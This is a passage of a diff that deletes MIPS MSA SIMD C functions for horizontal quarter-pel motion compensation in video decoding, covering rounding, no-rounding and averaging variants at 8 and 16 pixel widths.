-        res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-        inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-        AVER_UB2_UB(inp0, res0, inp2, res1, res0, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_aver_src0_16width_msa(const uint8_t *src,
-                                                int32_t src_stride,
-                                                uint8_t *dst,
-                                                int32_t dst_stride,
-                                                int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp0, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp2, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp4, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp6, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-}
-
-static void horiz_mc_qpel_8width_msa(const uint8_t *src,
-                                     int32_t src_stride,
-                                     uint8_t *dst,
-                                     int32_t dst_stride,
-                                     int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_16width_msa(const uint8_t *src,
-                                      int32_t src_stride,
-                                      uint8_t *dst,
-                                      int32_t dst_stride,
-                                      int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-}
-
-static void horiz_mc_qpel_aver_src1_8width_msa(const uint8_t *src,
-                                               int32_t src_stride,
-                                               uint8_t *dst,
-                                               int32_t dst_stride,
-                                               int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        SLDI_B4_UB(inp0, inp0, inp1, inp1, inp2, inp2, inp3, inp3, 1,
-                   inp0, inp1, inp2, inp3);
-        inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-        inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-        AVER_UB2_UB(inp0, res0, inp2, res1, res0, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_aver_src1_16width_msa(const uint8_t *src,
-                                                int32_t src_stride,
-                                                uint8_t *dst,
-                                                int32_t dst_stride,
-                                                int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp1);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp5);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp7);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-}
-
-static void horiz_mc_qpel_no_rnd_aver_src0_8width_msa(const uint8_t *src,
-                                                      int32_t src_stride,
-                                                      uint8_t *dst,
-                                                      int32_t dst_stride,
-                                                      int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                      mask2, mask3, const20,
-                                                      const6, const3);
-        res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                      mask2, mask3, const20,
-                                                      const6, const3);
-        inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-        inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-        res0 = __msa_ave_u_b(inp0, res0);
-        res1 = __msa_ave_u_b(inp2, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_no_rnd_aver_src0_16width_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride,
-                                                       int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp0, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp2, inp3, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp2, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp4, inp5, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp4, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp6, inp7, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp6, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-}
-
-static void horiz_mc_qpel_no_rnd_8width_msa(const uint8_t *src,
-                                            int32_t src_stride,
-                                            uint8_t *dst,
-                                            int32_t dst_stride,
-                                            int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                      mask2, mask3, const20,
-                                                      const6, const3);
-        res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                      mask2, mask3, const20,
-                                                      const6, const3);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_no_rnd_16width_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride,
-                                             int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp2, inp3, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp4, inp5, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp6, inp7, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-}
-
-static void horiz_mc_qpel_no_rnd_aver_src1_8width_msa(const uint8_t *src,
-                                                      int32_t src_stride,
-                                                      uint8_t *dst,
-                                                      int32_t dst_stride,
-                                                      int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                      mask2, mask3, const20,
-                                                      const6, const3);
-        res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                      mask2, mask3, const20,
-                                                      const6, const3);
-        SLDI_B4_UB(inp0, inp0, inp1, inp1, inp2, inp2, inp3, inp3, 1,
-                   inp0, inp1, inp2, inp3);
-        inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-        inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-        res0 = __msa_ave_u_b(inp0, res0);
-        res1 = __msa_ave_u_b(inp2, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_no_rnd_aver_src1_16width_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride,
-                                                       int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp1);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp2, inp3, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp4, inp5, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp5);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp6, inp7, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp7);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-}
-
-static void horiz_mc_qpel_avg_dst_aver_src0_8width_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride,
-                                                       int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 dst0, dst1, dst2, dst3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-        inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-        inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-        dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-        dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-        AVER_UB2_UB(inp0, res0, inp2, res1, res0, res1);
-        AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_avg_dst_aver_src0_16width_msa(const uint8_t *src,
-                                                        int32_t src_stride,
-                                                        uint8_t *dst,
-                                                        int32_t dst_stride,
-                                                        int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res0, res1;
-    v16u8 dst0, dst1;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                       const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                       const20, const6, const3);
-        LD_UB2(dst, dst_stride, dst0, dst1);
-        AVER_UB2_UB(inp0, res0, inp2, res1, res0, res1);
-        AVER_UB2_UB(dst0, res0, dst1, res1, res0, res1);
-        ST_UB2(res0, res1, dst, dst_stride);
-        dst += (2 * dst_stride);
-
-        res0 = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                       const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                       const20, const6, const3);
-        LD_UB2(dst, dst_stride, dst0, dst1);
-        AVER_UB2_UB(inp4, res0, inp6, res1, res0, res1);
-        AVER_UB2_UB(dst0, res0, dst1, res1, res0, res1);
-        ST_UB2(res0, res1, dst, dst_stride);
-        dst += (2 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_avg_dst_8width_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride,
-                                             int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 dst0, dst1, dst2, dst3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-        dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-        dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-        AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_avg_dst_16width_msa(const uint8_t *src,
-                                              int32_t src_stride,
-                                              uint8_t *dst,
-                                              int32_t dst_stride,
-                                              int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res0, res1;
-    v16u8 dst0, dst1;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                       const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                       const20, const6, const3);
-        LD_UB2(dst, dst_stride, dst0, dst1);
-        AVER_UB2_UB(dst0, res0, dst1, res1, res0, res1);
-        ST_UB2(res0, res1, dst, dst_stride);
-        dst += (2 * dst_stride);
-
-        res0 = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                       const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                       const20, const6, const3);
-        LD_UB2(dst, dst_stride, dst0, dst1);
-        AVER_UB2_UB(dst0, res0, dst1, res1, res0, res1);
-        ST_UB2(res0, res1, dst, dst_stride);
-        dst += (2 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_avg_dst_aver_src1_8width_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride,
-                                                       int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 dst0, dst1, dst2, dst3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                             mask0, mask1, mask2, mask3,
-                                             const20, const6, const3);
-        LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-        SLDI_B4_UB(inp0, inp0, inp1, inp1, inp2, inp2, inp3, inp3, 1,
-                   inp0, inp1, inp2, inp3);
-        inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-        inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-        dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-        dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-        AVER_UB2_UB(inp0, res0, inp2, res1, res0, res1);
-        AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-        ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void horiz_mc_qpel_avg_dst_aver_src1_16width_msa(const uint8_t *src,
-                                                        int32_t src_stride,
-                                                        uint8_t *dst,
-                                                        int32_t dst_stride,
-                                                        int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res0, res1, dst0, dst1;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
